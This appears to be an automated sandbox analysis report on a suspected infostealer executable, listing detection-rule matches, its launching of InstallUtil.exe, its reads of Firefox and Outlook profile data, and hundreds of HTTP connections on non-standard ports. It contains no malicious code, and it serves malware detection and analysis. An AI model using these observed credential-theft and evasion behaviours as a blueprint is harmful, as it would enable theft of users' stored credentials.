Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, N43UVggPg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, N43UVggPg.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, Ow96S4wT.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, Ow96S4wT.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, Ow96S4wT.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, Ow96S4wT.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, MjzNdC.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, MjzNdC.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: n1KVzXM8Wk.exe, GetOrCreateEventHandlegetNativeErrorCode.cs

Task registration methods: 'UnconditionalSuppressMessageAttributeOverlappedValueTaskSource', 'getAsyncWaitHandleTaskScheduled'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@3/3@5/100

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\n1KVzXM8Wk.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: n1KVzXM8Wk.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: n1KVzXM8Wk.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: n1KVzXM8Wk.exe	ReversingLabs: Detection: 21%
Source: n1KVzXM8Wk.exe	Virustotal: Detection: 23%

Source: unknown	Process created: C:\Users\user\Desktop\n1KVzXM8Wk.exe C:\Users\user\Desktop\n1KVzXM8Wk.exe
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe	Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: n1KVzXM8Wk.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: n1KVzXM8Wk.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: n1KVzXM8Wk.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: n1KVzXM8Wk.exe

Static PE information: 0xFB5ACD4E [Mon Aug 20 05:46:54 2103 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 6047
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 10417
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 3601
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 10417 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 6120
Source: unknown	Network traffic detected: HTTP traffic on port 6047 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 6764
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 32770
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 12519
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 51778
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 6764 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 3820
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 59058
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 25508
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 543
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 31602
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 64693
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 11946
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 51778
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 30464
Source: unknown	Network traffic detected: HTTP traffic on port 50287 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 33829
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 31602 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 10958
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 6745
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 8989
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 65201
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 50333 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 25508
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 39796
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 12259
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 55606
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 6788
Source: unknown	Network traffic detected: HTTP traffic on port 50401 -> 6438
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 32770 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 26939
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 6745 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 50455 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 46859
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 8989 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 51778
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50471 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 37379
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 50430
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 19050
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 5784
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 50513 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 25508
Source: unknown	Network traffic detected: HTTP traffic on port 6788 -> 50409
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50475 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 18072
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 55606
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 10820
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 51350
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 35010
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 15460
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 56755
Source: unknown	Network traffic detected: HTTP traffic on port 50541 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 32148
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 50328 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 2419
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50538 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 11176
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 50561 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50411 -> 35860
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50240
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50547 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 50561 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 55606
Source: unknown	Network traffic detected: HTTP traffic on port 543 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50469 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50583 -> 34090
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 39873
Source: unknown	Network traffic detected: HTTP traffic on port 50585 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 60870
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 50499 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50526 -> 37901
Source: unknown	Network traffic detected: HTTP traffic on port 50517 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50487 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 48359
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 3663
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 3312
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50557 -> 64608
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 62691
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 42823
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50563 -> 35010
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 35087
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 9603
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 51025
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 53672
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 56238
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 36477
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9090 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 50593 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 64305
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 8100
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 59810
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50597 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 50605 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50608 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 50611 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 12259
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50636 -> 9898
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 46859
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50641 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50650 -> 14287
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 26789
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 543
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50623 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50667 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50671 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50457 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50682 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 37379
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 5784
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 8085
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 9733
Source: unknown	Network traffic detected: HTTP traffic on port 50711 -> 42042
Source: unknown	Network traffic detected: HTTP traffic on port 50720 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50592 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 25295
Source: unknown	Network traffic detected: HTTP traffic on port 50817 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 18072
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 50838 -> 44499
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50696
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50623
Source: unknown	Network traffic detected: HTTP traffic on port 50842 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50865 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 50882 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50781
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 15460
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50776 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 17179
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 28134
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 32148
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 32520
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 50737 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50595 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 9002
